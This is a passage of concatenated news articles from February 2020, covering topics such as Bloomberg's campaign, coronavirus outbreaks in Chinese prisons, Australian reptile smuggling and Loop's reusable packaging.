campaign as national director overseeing coalitions and constituencies and worked in the Bloomberg administration from 2006 until he left office, said he made clear in his administration that women were all clear partners in the work that we were doing. She suggested a few incidents that occurred at Bloomberg LP, which employs thousands of people globally, were wrongly layered onto Mike. As a father, as a brother, as a son, as a mayor, as a business leader and philanthropist, his leadership has consistently focused on engaging women, on issues that matter to women, she said. But his refusal to acknowledge and apologize for issues within his company come in stark contrast to how some of his Democratic opponents have addressed similar issues throughout the campaign. After several women said Joe Biden made them feel uncomfortable with unwanted physical contact, he pledged to be more mindful about respecting personal space in the future. And Bernie Sanders apologized and enacted reforms after women came forward with claims of sexual harassment on his 2016 campaign. Some of Bloombergs critics from his time as mayor say his refusal to show a similar level of contrition is unsurprising. Melissa Mark-Viverito, a former New York City Council speaker who did battle with Bloomberg frequently, said his debate performance very much reminds me of the Mike Bloomberg that I knew. It does continue to reinforce that image that people have that he is out of touch and has no willingness to understand or address that, she said. Indeed, that may be the continued political fallout for Bloomberg if he fails to address the issue, warned Democratic strategist Maria Cardona. She suggested Bloombergs refusal to apologize for the conduct at his company could blur the very clear distinction the candidate has tried to draw between himself and Trump, who has faced many more and far more salacious claims of sexual harassment directed at him personally, but who has also never taken responsibility for any wrongdoing. If Bloomberg really wants to be the one that unequivocally is left standing as the one Democrat that can fight Trump, I dont think hes going to be able to do that until he puts this to rest, she said. __ This story has been corrected to fix the spelling of Fatima Shamahs name. Dale reported from Philadelphia. Photo credit: U.S. Army photo by Pfc. Daniel Alkana From Popular Mechanics The U.S. Armys 3rd Infantry Division is headed to Europe for Exercise Defender Europe 2020. The Georgia-based division is deploying hundreds of tanks, infantry fighting vehicles, and artillery pieces to Germany. One of the tanks being shipped to Europe is nicknamed Baby Yoda. The U.S. Army is headed to Europe, and one of the most dangerous fighting vehicles being sent that way is named... "Baby Yoda". The tank is part of an entire divisions worth of combat troops and equipment being shipped across the Atlantic to prove that the U.S. military can quickly send reinforcements to its NATO allies. Photo credit: U.S. Army photo by Pfc. Daniel Alkana The tank Baby Yoda, belongs to the 3rd Infantry Division of Fort Stewart, Georgia. The Rock of the Marne Division is participating in Exercise Defender Europe 2020, which will see a division-sized unit of U.S. Army combat troops, or about 16,000 soldiers, 300 tanks, and 300 infantry fighting vehicles, loaded on ships in the continental U.S. and then shipped to the German port of Bremerhaven. From there, U.S. Army forces will fan out across the continent and then participate in various annual local exercises. Baby Yoda is a M1A2 Abrams main battle tank belonging to the 3rd Division, but beyond that we dont know much else. U.S. Army tank units paint their tank nicknames on the barrels of their M256 120-millimeter guns. Other tanks headed to Europe include Django, Body Count, and Stallion. Photo credit: U.S. Army photo by Pfc. Daniel Alkana Source: Task & Purpose You Might Also Like Posted on Thursday, February 20, 2020 The Nueces Chapter of Society of Professional Engineers named Analyssa Hernandez, an engineering student at Texas A&M University-Kingsville, its Student Engineer of the Year Award. Hernandez, from Corpus Christi, is a first-generation college student and will graduate with a Bachelor of Science degree in Environmental Engineering and a minor in Mathematics in May 2020. She was recognized for her outstanding achievements in class, internships m undergraduate research activities and leadership skills. Dr. David Ramirez, Professor and Chair of Environmental Engineering, said the department is excited that Hernandez was selected for the award. It is truly an honor for our department to know that one of our students was recognized as the student engineer of the year. Analyssa is a high achiever student who has shown excellence not only in academics but also in research and extracurricular activities, he said. Hernandez has been an undergraduate research assistant working in two research projects on water availability under near-term climate change and on treating wastewater effluent to produce reclaimed water. Outcomes of this research were presented at the 2019 Association of Environmental Engineering and Science Professors Conference. Hernandez said she chose to study engineering because of her passion for math and science. I chose environmental engineering specifically because I have always had a passion for the environment since I was a kid. I had always been curious about the gases that were being released into the air by refineries, the trash in waters, and more and how this was affecting human health and the overall environment, she said. With my degree, I hope to make positive impacts on the environment for the sake of our future generations. She is the founding member of the Water Environment Association of Texas and the Texas American Water Works Association (WEAT/TAWWA) Joint Student Chapter at A&M-Kingsville where she currently serves as the President. Hernandez has held multiple leadership positions within Theta Phi Alpha fraternity and is an active member of Tau Beta Pi Engineering Honor Society, Order of Omega Leadership Honor Society and the American Academy of Environmental Engineers and Scientists. She is also a Student Ambassador of the Environmental Engineering program. Hernandez will be presented the award at the Engineers Banquet on Feb. 21, 2020. A man and woman were found dead inside mobile home Thursday night in Texas City, moments before their alleged killer turned a gun on himself at the end of a lengthy police chase. Texas City officers found the two victims around 8:20 p.m. apparently shot to death inside a trailer in the Green Villa Mobile Home Park in the 12200 of FM 3436, according to Texas City police Cpl. Allen Bjerke. Police quickly identified a suspect, who was found at a home in the 4900 block of Meadowlark Street in Dickinson, some six miles away. Former Tory minister Rory Stewart was left shocked after discovering a business running tantric massage parlours offering sexual therapy was being run from the basement of his family home. The London mayoral hopeful discovered he had been living about the headquarters of Eva's Tantric Massages when he was told by letting agents who managed the flat on his behalf. The firm, which is due to be wound up later this month, offered 120-per-hour sessions with women that would provide 'deep, inner orgasmic movement of energy, with waves of bliss spreading throughout the entire body'. The operated at locations in central and east London but used the flat as an office premises without Mr Stewart's knowledge. The London mayoral hopeful discovered he had been living about the headquarters of Eva's Tantric Massages when he was told by letting agents who managed the flat on his behalf A spokesman for the former justice minister said: 'The Stewarts have rented the basement of their house for many years. 'This has always been managed through a letting agency, and the terms of the rental agreements have always stipulated that there can be no business activity in the flat. 'As soon as the letting agency became aware that the tenant had acted in contravention of her rental agreement by registering the address as a business address, she was asked t o vacate immediately - and the agency apologised to the Stewarts for the breach of the agreement.' According to online documents the company is no longer run by 'Eva' and it due to be struck off the business register later this month. Its website says its services will leave customers feeling 're-energised and healed in mind and body'. Mr Stewart is hoping to oust incumbent Sadiq Khan when London goes to the polls in May this year and he is pulling out all of the stops to try to make an impression on the race. The former MP and Cabinet minister was stripped of the Tory whip last year after rebelling over Brexit. He then opted not to stand at the 2019 general election, deciding instead to throw his hat in the ring in the race for City Hall. Last week he launched a bizarre bid to boost his campaign as he asked voters to invite him to stay at their homes. The independent candidate has launched a new initiative called 'Come Kip With Me' so that he can be shown the capital through the eyes of ordinary Londoners. He pledged to arrive with a 'sleeping bag and a box of chocolates' as the announcement instantly sparked online mockery and suggestions that it is 'a tad creepy'. During the issuance ceremony of the Single Labor Certificate to the youth, held at Callao's Naval Base, the Head of State underlined that the current policy is to have a short, medium and long-term horizon in favor of young people. "There is a series of actions that we have taken in favor of the youth, who make up 25% of the population. One of every four Peruvians are aged between 15 and 29 years old. It is our duty to generate opportunities for them," he commented. Furthermore, he referred to other indicatives like "Productive Youth," which not only provides them with training but also generates undertakings, as well as different efforts aimed at improving the quality of education, promotion of culture, and support for sports. Thus, the exercise of their right to get decent jobs is guaranteed. In addition, this secures their effective participation in the country's decision-making process as well as in the fight against discrimination and violence across the country. "The State is obliged to reward those who devoted years of service to the defense of national interests. Many young people opt for a career in the Armed Forces after their voluntary military service. They will always be welcomed at armed institutions to keep contributing to the development and enhancement of their homeland," he emphasized. Presidente @MartinVizcarraC: Cumpliendo nuestro compromiso, publicamos la Politica Nacional de la Juventud. La cual permite articular las diversas iniciativas, garantizando el derecho de los jovenes a un empleo decente, entre otros. pic.twitter.com/IrFTyprNcS Kerala cop kicks, beats up passenger for travelling without ticket on train, video goes viral Complete lockdown in Kerala? Here's what Health Minister has to say Another Kerala nun accuses Bishop Franco Mulakkal of sexual abuse India oi-Mousumi Dash Kochi, Feb 21: Ahead of the hearing of the Kerala's rape-accused Bishop Franco Mulakkal's discharge petition, on Friday another nun claimed that the former Bishop of Jalandhar of sexual abuse. Reportedly, the nun is the 14th witness in this sensitive rape case against Mulakkal. The Bishop is out on bail. The 35-year-old nun in her statement has alleged that she met the Bishop first time in 2015 in Bihar. She claimed that Mulakkal made sexual overtones on phone calls, messages and video calls. She also accused the Bishop that he had inappropriately touched her. The nun also stated that she was scared of the Bishop and of being thrown out from the congregation. In 2017, the nun stated that she had relationship with a person over the phone which led to caused certain problems in the church. And as a punishment she was sent to Kerala. On April 30, 2017 Bishop Franco Mulakkal came to this convent to investigate this matter, wher he met the nun and around 1am in the night, he called him in his room and made her sit in a chair in his room. Bishop and she spoke for nearly two hours. While she was leaving the room, Bishop hugged her and kissed her on the forehead. She said that she felt disgusted. Next day the Bishop left. Kerala Congress leaders serve beef curry, bread outside police station in Kozhikode According to the police the witness was not ready to file a complaint against the Bishop. Mulakkal, got bail on October 16, 2018 after he got arrested on September 21, 2018 on rape charges. The Kerala Police has filed a 1,400-page chargesheet against him. Reportedly, the chargesheet named 83 witnesses, including the Cardinal of the Syro-Malabar Catholic Church Mar George Alencherry, three bishops, 11 priests and several nuns. Mulakkal was removed as head of the Jalandhar diocese after the case came to light. For Breaking News and Instant Updates Allow Notifications Story first published: Saturday, February 22, 2020, 0:44 [IST] Irans health ministry today reported two more deaths among 13 new cases of coronavirus in the Islamic republic. AFP Photo Beijing: Two more people died from the new coronavirus in Iran, infections nearly doubled in South Korea and clusters surfaced in Chinese prisons on Friday, rekindling concerns about an epidemic that has killed more than 2,200 people in China. The World Health Organization warned nations could face a serious problem if they fail to "hit hard now" against the virus, which has infected more than 75,000 in China and over 1,100 abroad. China has pointed to official figures showing new cases slowing this week as evidence that its drastic containment measures are working, but fresh infections emerged at two Beijing hospitals, and more than 500 others were reported in prisons across the country. Chinese authorities have placed tens of millions of people under quarantine in hard-hit central Hubei province, restricted movements in other cities far from the epicentre, and closed schools nationwide. Many nations have banned travellers from China and airlines have suspended flights to and from the country. But clusters and outbreaks continue to emerge, and 13 people have now died outside mainland China. Iran's health ministry reported two more deaths among 13 new cases of coronavirus in the Islamic republic, bringing the total number of fatalities to four and infections to 18. Earlier cases had already prompted Iraq to ban travel to and from its neighbour and Kuwait's national air carrier to suspend flights. Seven of the new cases were in the Shiite holy city of Qom, four in Tehran and two in Gilan, health ministry spokesman Kianoush Jahanpour said on Twitter. He did not say anything about the suspected source of the outbreak in Iran. In South Korea, the number of cases nearly doubled to 204, making it the hardest-hit country outside China. More than 120 members of Shincheonji Church of Jesus, a religious sect in the southern city of Daegu, have now been infected. It started with a 61-year-old woman who developed a fever on February 10 but attended at least four church services before being diagnosed. The mayor of Daegu -- South Korea's fourth-biggest city, with a population of over 2.5 million -- has advised residents to stay indoors. Most people on the streets were wearing masks Friday, but many businesses were closed and workers sprayed disinfectant outside the church. "With so many confirmed cases here I'm worried that Daegu will become the second Wuhan," said Seo Dong-min, 24, referring to Hubei's capital, where the virus first emerged. Two Australians evacuated from the Diamond Princess cruise ship, meanwhile, tested positive for coronavirus on their return home despite being cleared in Japan. An Israeli also tested positive upon returning home -- becoming his country's first COVID-19 case. The cases will fuel questions about Tokyo's policy of allowing former Diamond Princess passengers to return home after testing negative. Two former passengers, both Japanese and in their 80s, died in Japan on Thursday. "If we don't hit hard now using the window of opportunity we might be faced with a serious problem," WHO chief Tedros Adhanom Ghebreyesus said Thursday. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa, Trump tweeted, referencing the delays this month in tabulating the results of the nations first presidential nominating contest. A doctor examines a patient who is infected by the coronavirus at a hospital in Wuhan in China's central Hubei province. STR/AFP via Getty Images More than 500 cases of coronavirus have been reported in jails across three Chinese provinces. Over half of these are in prisons in Hubei, the epicenter of the COVID-19 outbreak. Prison officials and jail guards have lost their jobs for ineffective "prevention and control measures," authorities say. Top investigators are being dispatched to jails across China and officials have promised "all out efforts" to ensure necessary medical care for those who are sick. But Yaqiu Wang, a China researcher at Human Rights Watch, told The New York Times that it's "hard to imagine prisoners' medical needs would be a priority of the government," particularly at a time when resources are stretched thin across a country wracked by COVID-19. Visit Business Insider's homepage for more stories. Jails in China are the new frontier for the coronavirus. More than 500 cases of COVID-19 erupted across five penitentiaries across three provinces, according to the Ministry of Justice. This led to a spike in the national tally of the coronavirus, triggered fears of the virus spreading in clusters, and prompted several local officials to be sacked. The coronavirus has, as of Friday, sickened nearly 76,000 people and killed over 2,200, according to Beijing's National Health Commission. According to Justice Ministry official He Ping, over half of the reported cases are in jails in Hubei, the province where the coronavirus outbreak originated in December. Wuhan Women's Prison has reported 230 cases and Shayang Hanjin Prison another 41, the New York Post said based on Agence France-Presse reports. The warden of Wuhan Women's Prison was fired for being unable to prevent the outbreak, local newspaper Hubei Daily reported, the New York Post found. A woman dons a makeshift protective face shield at a residential compound in Hubei province, the epicenter of the novel coronavirus outbreak. Stringer/Reuters Information is being 'deliberately concealed' In addition, 207 patients, which includes seven prison guards, were found at the Rencheng Prison in Jining, in the eastern province of Shandong. Thirty-four cases have occurred at Shilifen Prison in Zhejiang province, where officials enforced drastic measures, including locking people into their homes and banning weddings and funerals. Some people in custody at a juvenile detention center have also contracted COVID-19, per the South China Morning Post. Story continues In Shandong, a guard at the Rencheng Prison developed a cough and began presenting other coronavirus symptoms in early February. Xie Weijun, Communist Party secretary of Shandong's Department of Justice, and seven prison authorities lost their jobs, according to local government officials. "The implementation of our prevention and control measures have not been effective," Wu Lei, head of the province's prison administration, told the New York Post. This situation was mirrored in Zhejiang province, where cases in Shilifen led to two prison officials, including its director, being ousted from their jobs. A police officer visited Wuhan in Japan, justice official Xu Xiaobo told the New York Post, but "deliberately concealed" this information and kept working. "The policeman was diagnosed with new coronavirus on Jan. 29. He had worked long hours and has come into contact with many people, causing many prisoners to become infected," Xu said, according to AFP. "All patients are observed in isolation, and all confirmed patients are sent for treatment." 'They knew this was serious' "With a heavy heart and sense of responsibility, I am reporting to you that as of February 20, five prisons in Hubei, Shandong, and Zhejiang have reported infections among their populations," Ping said. However, rumors of infections spiking in Shandong's prisons have been swirling on social media for a few days. Internet users in Jining say that some WeChat groups have been banned to halt these online conversations. Tony Tang, originally from Jining, but now a New York resident, told the South China Morning Post that he learned about the spread of COVID-19 cases to Huxi Prison in Yutai County nearly a week ago through hometown friends. But the Jining Disease Prevention and Control Center told the news outlet that they had no such information. Tang tweeted on Sunday night about a potential coronavirus outbreak just south of Jining. Soon, someone knocked at his parents' door. "Within hours of me posting the message, security officials visited my parents who still live in Jining and asked them to tell me to delete the message. The speed of their response shows that they knew this was serious and [I felt something] was not normal," he told the Post. A man wearing a face masks sorts strawberries purchased by residents through group orders at a residential compound in Wuhan, Hubei province. Stringer/Reuters People are skeptical of Chinese officials making prisoners' medical care a 'priority' According to state news agency Xinhua, deputy secretary-general of the Central Political and Legal Affairs Commission, China's top law enforcement agency, is heading a team that will examine the Rencheng Prison cases. The Post said he promised "all out efforts" to quarantine patients and get appropriate medical care for those who are sick. Meanwhile, penitentiaries across the nation have increased their screening of guards and officers to stop COVID-19 from entering "prison premises" Lei told the Post, adding that 28 teams have been dispatched to prisons around China to ensure compliance. Authorities in Shangdong plan to "quickly set up a hospital" on the jail grounds, the Hubei Daily said, but many remain unconvinced. "Prisoners are routinely denied access to adequate medical care even during normal times," Yaqiu Wang, a China researcher at Human Rights Watch, told The New York Times. "Now with medical resources stretched to the limit in many areas in China, it is hard to imagine prisoners' medical needs would be a priority of the government." Read the original article on Business Insider Source: Xinhua| 2020-02-21 11:49:01|Editor: Wang Yamei Video Player Close SEOUL, Feb. 21 (Xinhua) -- South Koreans' overseas plastic card spending fell last year, marking the first decline in 10 years, central bank data showed Friday. Local residents spent 18.9 billion U.S. dollars overseas with credit card in 2019, down 0.32 billion dollars from the previous year, according to the Bank of Korea (BOK). It was the first fall in 10 years since 2009. It came as the number of South Koreans who traveled abroad inched up 0.1 percent over the year to 28.71 million in 2019. It was the lowest growth since 2009. The strong U.S. dollar also led South Korean tourists to spend less overseas. The won/dollar exchange rate averaged 1,165.7 won per dollar in 2019 from 1,100.3 won in the previous year. Plastic card spending by foreign tourists here amounted to 9.92 billion U.S. dollars in 2019, up 6.8 percent from a year earlier. Of the 12 arrests made, just one was in Australia: a 27-year-old Japanese woman found with 19 lizards in her suitcase at Melbourne Airport. She was sentenced to four months in prison. The reptile smuggling uncovered by authorities so far is only the tip of the iceberg, says Dr Michael Gardner, a biologist at Adelaides Flinders University. Australia is home to 869 identified native reptile species, over 90 per cent of which are unique to the continent. Anyone whos a collector wants to have the rarest thing, the most unique thing out there, and Australian animals are unique, says Gardner. Take the shingleback lizard. Once a pair are bonded they will return to each other every spring for the rest of their long lives, often over 20 years. On occasions when one of the pair is killed, researchers have witnessed the surviving partner returning repeatedly to spend time by the body. The faithfulness demonstrated by Tiliqua rugosa - variously also known as bob-tails, stumpy-tails, sleepy and pinecone lizards - has given this reptile a romantic reputation, making it a favourite with Chinas rising monied class. Exotic pets have become commonplace in China, where its estimated there are some 5 million pet reptiles. This has made shinglebacks a hot target for smugglers. Chinese consumers can purchase the lizards online via sites like Taobao, Chinas largest online marketplace, or Xianyu, both owned by Chinese multinational conglomerate Alibaba. Lizards for sale on social media. Chinese consumers can purchase lizards online via sites like Taobao, Chinas largest online marketplace. A survey of some of these sites revealed dozens of ads for shinglebacks, alongside many other Australian reptiles, with prices from $3500 to $5000 for one or nearly $18,000 for a bonded pair. To avoid scrutiny, suppliers on these websites will often advertise their livestock as blue-tongue lizard toy or a drawing of a lizard, but the photos published alongside these captions show real, live lizards as the products being sold. If people are interested in buying, they can simply message the person advertising. Another common method is to post on Xianyu or other forums like Baidu Tieba stating an interest. Sellers will respond by sharing their contact information. Posing as prospective buyers, we contacted reptile traders and asked them about the origin of their lizards. Sellers who claimed to be running legal trading enterprises stopped responding when pressed and refused to provide copies of the licences they claimed to possess. The loophole While it is illegal under Australian law to import or export Australian wildlife without a licence, many Australian reptile species, including shinglebacks, are not classified as protected species under Chinese regulations. That creates a legal loophole: once the reptiles are in China, sellers can claim ignorance of their provenance and argue that they are doing nothing wrong as several did when we questioned them. Determining just how many native Australian reptiles are being sold illegally internationally is difficult because of opaque international regulations, says Adam Toomes, who is studying for a PhD at Adelaide University on Australias role in the international wildlife trade. Its not technically illegal for someone in Germany to sell an Australian endemic species if it was actively bred in Germany, he says. However, it is illegal to export an Australian species out of Australia. Adam Toomes is studying Australia's role in the international wildlife trade. In 2018, a pair of endangered pygmy bluetongue lizards appeared for sale on a Russian website. That species is endangered. It is only found in South Australia, so it couldnt have come from anywhere else, says Gardner. Few online buyers appear to question the conditions under which their new pets have arrived. When asked whether buyers cared that their lizards were being illegally smuggled into China, one responded not at all. One seller, when questioned about whether his operation was licensed, argued licences were a waste of energy and money. Like, do I need a licence for selling you a basin? But one Chinese customs officer, who asked not to be named, told us: "It is impossible for individuals to import reptiles legally." Loading They are usually smuggled into the country by airline passengers, stowed in luggage or clothing, but if you are caught, your reptiles will be confiscated, the officer added. Theres little evidence that this prospect worries lizard traders. One vendor said that there were times when levels of scrutiny might increase, but this prospect was not enough to dissuade operations it would just cost the customers a little more. In the wake of the novel coronavirus outbreak, unprecedented police scrutiny has meant some vendors have stopped shipping lizards altogether. One seller told us: Not now, because of coronavirus, animals are controlled strictly." Easy pickings Shinglebacks are particularly vulnerable to smuggling due to their size and docility. Poachers can just pluck them out of the landscape. Many seized reptiles have been covered with ticks, indicating that theyve been hand-picked from the wild. I spent four years looking for them in the wild and every [shingleback] I saw, I managed to catch. I feel like theyre quite easy little things to get if you know what youre doing, says Dr Ashleigh Wolfe, a shingleback expert from Perth's Curtin University. Smugglers usually transport reptiles via commercial flights within checked luggage, or through the traditional mail system. Toomes says hes heard of reptiles being hidden inside teddy bears, Pringles tubes and a laptop computer. Theyre taking advantage of the fact that reptiles can be stuffed into quite cramped conditions and survive, he says. Unlike some other animals, reptiles can also withstand abnormally cool temperatures. Shingleback lizards often die on long-haul journeys, though it only takes a few survivors to generate a profit. Credit:WA Department of Biodiversity, Conservation and Attractions If a reptile gets cold during a flight, they enter a state that is known as brumation, which is essentially a period of inactivity and low metabolic activity, and therefore it can survive quite a long journey if smuggled in some means, Toomes says. While the survival rate for lizards like shinglebacks can be quite high, Toomes says that the black market price tag means smugglers can make a profit even if only three out of 15 animals survive the journey. Smugglers know that many of the animals might not survive, so they try to smuggle as many animals as possible in each attempt to minimise financial losses, says Channing Mavrellis, the transnational crime director of Global Financial Integrity, a think tank tracking international illicit cash flows. In this X-ray image, smuggled lizards are seen hidden in luggage among children's toys. Credit:WA Dept of Biodiversity, Conservation and Attractions Figures collected through Freedom of Information and inquiries to federal authorities indicate there were more than 1100 specimens seized at Australian borders between July 2015 and September 2019. In Victoria alone, inquiries to the state Department of Environment, Land, Water and Planning (DELWP) reveal that Australia Post discovered 150 reptiles inside 37 boxes at its Melbourne Gateway Facility between June 2018 and September 2019. Still more are seized before they make it into the transit system. In March last year, authorities in Victoria seized 150 reptiles from three properties in Melbourne. They did not all survive. The reptiles were bound with tape and stuffed inside socks, leading to some animals suffocating to death and others so traumatised they required euthanasia, says Kate Gavens, chief conservation regulator with the DELWP. In 2018, police in Western Australia pulled over a vehicle for speeding at Eucla, near the South Australian border, and found it was carrying 219 native animals, including 198 reptiles, crammed into small containers. Many were dead or dying. The Federal Department of the Environment and Energy opened 47 investigations into the attempted illegal export of Australian native species between July 2015 and September 2019. A lizard is recovered from an attempted reptile smuggling operation in Western Australia. Credit:WA Dept of Biodiversity, Conservation and Attractions The number of seizures is increasing, and is likely to reflect both an increase in compliance activity and an increase in illegal wildlife trade activity, a department spokesperson said. A spokesperson for WAs Department of Biodiversity, Conservation and Attractions confirmed there was evidence that foreign syndicates have been illegally poaching reptiles directly from the wild. Toomes is concerned that poachers often go looking for the fittest individuals to maximise the chances of successfully creating a captive breeding population overseas. Struggling for solutions The maximum penalty for exporting or importing regulated wildlife without authorisation, under the Environment Protection and Biodiversity Conservation Act, is a $210,000 fine or 10 years' imprisonment, or up to $1,050,000 for corporations. Taking protected species from the wild carries a fine of $38,685 or two years' imprisonment. But recent history demonstrates that actual penalties imposed can be much lower. Even though the penalty might be 10 years, you'd be hard pressed to find anybody who's been sentenced to anything like one year, says Richard Janeczko, former national manager of investigations of Australian Customs, now Australian Border Force. He believes increasing penalties for wildlife crime could help stem the illegal trade. In some countries they've set up units to focus on [wildlife] crime, but in Australia, Janeczko says, we don't have a special ongoing group that just does that. Lizards are often wrapped up and stuffed in luggage, causing injuries that can result in them having to be put down. Credit:WA Dept of Biodiversity, Conservation and Attractions Others argue criminalising the trade is the wrong way to tackle the problem. WA breeder Dave Mackintosh says that governments should just allow sustainable harvesting and farming. If people want to pay $10,000 for [reptiles], let them pay $10,000. But do it humanely, so they are controlled and sustainably bred." Gardner agrees, saying that if the export of certain species were legalised it would make those species less attractive to smugglers. People on the black market target a species because they're going to get more money out of them. So if the particular species were allowed to be traded internationally, potentially that would reduce the smuggling because then it's not as high a market commodity. Mackintosh says if he were allowed to export reptiles, his hobby business would start earning enough for him to employ people and the tax revenue from the operation could be put back into conservation. Instead, Australian reptiles are poached from the wild and pinched from personal collections without a cent going towards the environment or reptile welfare. As it stands, profit from the illegal reptile trade is enjoyed solely by the smuggler. Reporting by Alyssa Herr, Else Kennedy, William Povey, Cai Shu Jing, Fia Walsh, Connor Webster, Emily Johnson, Stephanie Zhang, Liam Petterson, Yike Cai, Jiameng Lyu and Lucy Williams. Skaletska: I will spend next 14 days in the same building with those evacuated from China Head of the Ministry of Health Zoriana Skaletska will spend two weeks in the same room with Ukrainians and foreigners evacuated from Wuhan (China) brought to the National Guard sanatorium in Novi Sanzhary (Poltava region). "I decided to join the people under the observation. Together with them, I will spend the next 14 days in the same building, under the same conditions. I hope that my presence will calm both those who are in Novi Sanzhary and the rest of the country," the minister wrote on her Facebook page on Thursday evening. Loop's reusable packaging service is coming to brick-and-mortar stores in U.S., Canada, and France. It has been a year since the Loop initiative launched to great fanfare. An admirable effort by major household brands to reduce disposable packaging, Loop offers food and cleaning products in reusable containers, which people can order online and have delivered to their homes, then return via UPS. Loop has been rolled out slowly across parts of the U.S. Atlantic coast and Paris, France. Now, one year later, it's gearing up to enter Canada and the U.K., and eventually Japan, Germany, Australia, and more U.S. cities by 2021. One major change is that Loop will soon be accessible in brick-and-mortar retailers. This means that customers will be able to go to participating grocery stores and visit the Loop aisle, selecting whatever products they want to buy, while also returning any empty containers they have without having to ship them. Adele Peters writes for Fast Company, "Its still designed to be simpler than traditional refill systems in stores rather than cleaning and refilling your own container, you bring back dirty containers, drop them off, and buy already-packaged products on the shelf. As with online orders, youll pay a deposit on the container and then get it back when the container is returned." It's still not cheap. Many people are eager for Loop to scale up in order to bring down the prices. Right now there are limited items available, so there's no competitive pricing, even though the company is adding brands as quickly as it can roughly one every two days. The food items tend to be expensive, i.e. $14 jar of nut butter and $5 dried pasta, plus there's the upfront cost of deposits on food containers and the tote bag in which they're delivered. Shipping is $20, which one reviewer said "is never going to fly... in this age of free shipping," but the Loop site says shipping is now free for orders over $100. Kate Bratskeir wrote for the Huffington Post that her orders cost more than anticipated: "My first order came to a whopping $85.70. For only six items! To be fair, $32 was for packaging deposits and $20 was for shipping. And I snagged a $20 discount as a first-time customer. For my second round of orders, I bought only two more products, so the total was $37 with the deposits. After using the service for two months, buying a total of eight products and receiving refunds for all my deposits, I paid a total of $69.70." In Loop's defence, it does offer many appealing products that I cannot currently find in refillable format, such as ice cream, cooking oils, vinegar, and frozen veggie burgers. (Other items, like rolled oats, candy, pasta, and spices, can be purchased at Bulk Barn using my own containers at prices comparable to Loop's.) If it can all be scaled up, as CEO Tom Szaky promises, it could be revolutionary, especially if products are available in-store. Szaky told Peters, "Today, in small scale, it makes no economic sense because everything is inefficient in small scale. But a lot of our retail partners and our brand partners have modelled this in large scale. And its come out very exciting its going to be able to be executed at scale and not cost the consumer more." Loop Innovation has to start somewhere. Critics have called Loop a project created "by rich people for rich people." This got me thinking about how backward it is that one must need money in order to waste less, and how, in an ideal world, the creation of superfluous packaging waste would be more costly than efforts to reduce it. A commenter once used the example of "Speed Kills!" signs having little effect on people's driving habits until they start getting slapped with tickets. My mind immediately flew to the possibility of people having to pay a surcharge in order to walk out of a store with disposable 'convenience' packaging, and how those surcharges could fund the development of reusable containers, thus bringing down the cost for everyone. But until that day comes, it appears one must have plenty of disposable income in order to support initiatives such as Loop the age-old fate of the early adopter. Nevertheless, I am happy to see that Loop's first year can be called a success, and I am eager to try it myself once it comes to Canadian grocery stores. Hopefully by then prices will have dropped somewhat and the system further refined. I'd want to know, too, that the containers are being cleaned and filled within the province, and not shipped across the continent, which could undermine the environmental benefit. We need creative thinkers and clever solutions to break us out of business as usual. Loop is a great example of that. Ashley Iaconetti had a serious case of puppy love on Thursday. But it wasn't only for her husband Jared Haibon. The Bachelor star, 31, beamed with joy as she cuddled a rescue dog on the set of Home & Family. She left her bark on set! Ashley Iaconetti beamed with joy as she cuddled a rescue dog with her husband Jared Haibon on the set of Home & Family Jared grinned from ear-to-ear as he posed beside his stunning wife. The couple looked like happy campers whilst enjoying some time with the precious pooch. Ashley was styled to perfection in a polka dot blouse, black trousers, heels, and head full of wavy locks. Jared was looking cool in a grey sweatshirt, black T-shirt, jeans and grey shoes. In addition to making a new furry friend, the couple were on hand to talk about their partnership with the Ronald McDonald House in Los Angeles, an organization which benefits critically-ill children and their families. Giving them the cold shoulder! The reality star rocked an off-the-shoulder polka dot blouse The couple will be appearing on the Friday episode of the Emmy nominated lifestyle series. Ashley and Jared shot to stardom after appearing on The Bachelor and Bachelorette, but didn't become romantically involved with each other until Bachelor In Paradise in 2015. On Thursday, Ashley shared the audition video that launched her Bachelor career. It takes two! The Haibons tied the knot over the summer in Newport, Rhode Island 'Prepare to cringe!' she captioned the video. 'Here's my Bachelor audition tape that I sent in during the summer of 2013, nine months before I got a call from the casting directors. I haven't posted it until now because it's embarrassing and I used a fake high pitched voice, but it's also funny, creative, and it worked! ABC really did help me write the first chapter of my love story.' Ashley recruited her sister Lauren Iaconetti to play The Bachelor, and had her wear a paper plate over her face. '(You'll see me ask for their help during the "final rose ceremony" scene at the end.) I could get mushy, but the real reason I want you guys to see this is because my sister plays The Bachelor with a paper plate on her face. (I'm going to say it one more time...prepare to cringe!)'. Making a new furry friend: The rescue dog sat upon Ashley's lap on set Bling bling! Ashley flashed her jaw-dropping Neil Lane diamond ring Though Ashley didn't end up with her Bachelor Chris Soules, she eventually married Jared. The couple tied the knot in a lavish ceremony in Newport, Rhode Island over the summer, and the wedding was truly a who's who of Bachelor Nation. As fans are aware, the will-they-or-won't-they couple finally announced they were indeed dating in a nearly 45 minute video chronicling their love story back in 2018. Not long after, they became engaged while filming Bachelor In Paradise. Press Release 21 February 2020 International migrants abroad offer an invaluable market for destination tourism, according to Dr Sabrina Huang, Dr Kam Hung of the School of Hotel and Tourism Management (SHTM) at The Hong Kong Polytechnic University and a co-researcher. In a pioneering study sampling overseas Chinese in North America, the researchers recently showed that as more and more people migrate permanently abroad, they are increasingly turning to tourism as a way to retain social and emotional ties with their homelands. However, the travel behaviour of these "diaspora tourists" is as diverse as the communities they come from. The researchers suggest that understanding the tourism needs of different generations of migrants can help destination marketers to attract as many homecoming migrants as possible. Advertisements Memories of home are like time capsules from the past. In today's world of global movement, the researchers note, when "more and more people can trace their family roots to another part of the world", the longing to return home can be particularly strong. The desire to go further than remembering, to physically return to and reconnect with places from the past, often inspires people to travel. Nowadays, the yearning for home may not necessarily result in a permanent return to one's homeland. Instead, it may take the form of tourism. A special case is that of people who have migrated abroad who return temporarily to their ancestral homelands - a trend known as diaspora tourism. Although diasporas encompass an enormous range of migrant populations worldwide, they are united by their strong sense of community and desire to remain connected to their places of origin. As travelling becomes more convenient and affordable, going "home" regularly to visit relatives, trace one's family roots or simply enjoy the local cuisine is becoming easier and easier. It is not hard to see the potential benefits of diaspora tourism for destination countries. The researchers point out that diaspora or "homecoming" tourists are a "significant market segment", as they visit their home countries often and may stay for weeks or even months. Just as important is their strong sense of attachment to their destinations, which makes them "supportive of local development and heritage conservation". Curiously, however, we still know little about how this sense of attachment to a former or ancestral home affects people's travel decision making. The researchers pinpoint an important unanswered question. "How big is this 'home'?" they ask. "Is it the actual house, neighborhood, hometown or 